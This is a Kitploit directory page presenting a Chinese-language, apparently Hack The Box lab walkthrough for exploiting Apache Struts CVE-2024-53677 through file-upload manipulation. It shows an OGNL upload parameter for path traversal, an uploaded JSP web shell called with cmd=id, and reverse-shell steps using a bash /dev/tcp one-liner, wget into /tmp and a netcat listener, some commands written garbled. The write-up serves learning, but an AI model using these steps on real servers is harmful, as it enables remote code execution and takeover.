Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-53677-Exploitation — 一步步指导如何利用Apache Struts CVE-2024-53677远程代码执行漏洞,通过文件上传操纵进行攻击,包括OGNL注入、有效载荷嵌入和反向Shell建立。 | Kitploit
工具/GitHubGitHub/hopsypopsy8/cve-2024-53677-exploitation
漏洞分析代码分析漏洞利用Web应用程序漏洞利用Web安全渗透测试学习与教育Payload 开发实验室与实践

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
GitHubhopsypopsy8/cve-2024-53677-exploitation

CVE-2024-53677-Exploitation

一步步指导如何利用Apache Struts CVE-2024-53677远程代码执行漏洞,通过文件上传操纵进行攻击,包括OGNL注入、有效载荷嵌入和反向Shell建立。

查看仓库
51年前尚未审核
分享

CVE-2024-53677 利用

Apache Struts 通过文件上传实现远程代码执行

描述

CVE-2024-53677 是一个影响 Apache Struts 2.0.0 至 6.4.0 之前版本的漏洞。⚠️ 该漏洞曾在 Hack The Box 实验室中被利用。

Apache Struts 的文件上传逻辑存在缺陷。攻击者可以操纵文件上传参数实现路径遍历,在某些情况下,这可能导致上传恶意文件,进而执行远程代码。
🔗 参考: NIST NVD 条目

侦察

识别攻击向量

image
  1. 该网站具有图片上传功能。
  2. 上传的文件存储在:ip/uploads/20250213_014317/starwars.png
  3. 上传成功后,图片的可分享链接 URL 为 ip/s/04ab2f40
  4. 查找 Apache Struts 版本
    • 暴露的 pom.xml 显示为 Apache Struts 6.3.0.1
    • 确认易受 CVE-2024-53677 攻击

📸 pom.xml 暴露情况:
image

添加的参数利用了 OGNL(对象图导航语言),Apache Struts 使用它来处理输入数据。FileUploadInterceptor 在处理实际 PNG 图像之前先处理此参数,从而允许攻击者操纵请求并可能执行任意代码。

利用

修改文件上传请求

为利用此漏洞,我们使用 BurpSuite 及其 Repeater 功能在发送前修改数据包。下面是一个未修改的请求。

image

我们的问题是该站点阻止非 [JPG, JPEG, PNG, GIF] 的文件类型,并且 /uploads 目录中的任何文件都不可执行。为解决这些问题,我们首先添加另一个参数。

test

完成利用

添加修改后的参数后,服务器响应确认文件已成功上传。然而,我们注意到文件路径与通常的上传目录不同。

plshelp

附加载荷

接下来,我们将载荷直接附加在图像数据下方、注入的参数之前。Shell 载荷可来源于 🔗 参考: shell.jsp
另外,一个关键细节是请求需要将 "Upload" 的首字母大写,而非小写的 "upload"。这遵循了以下利用结构中观察到的方式:🔗 参考: exploit.py

完成这些修改后,我们发送请求。服务器响应类似,确认上传成功并显示了调整后的文件路径。

导航到利用路径

现在,通过访问以下 URL,我们可以与上传的 Shell 进行交互。

root@kitploit:~
 ip/shelll.jsp?action=cmd&cmd=id 
最终 Shell

在此阶段,我们可以使用本地托管的 Web 服务器建立反向 Shell。一种简单的方法是使用 Python:
python3 http.server -m 3004

接下来,创建一个基本的 Shell 脚本(如 shell.sh)
cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh

使用 wget 下载它
wget http://ip_address/filename -O /tmp

下载后,赋予执行权限
chmod +777 /tmp/filename

然后使用 nc(netcat)监听反向 Shell。
nc -lvnp $PORT

最后执行
./filename

下载工具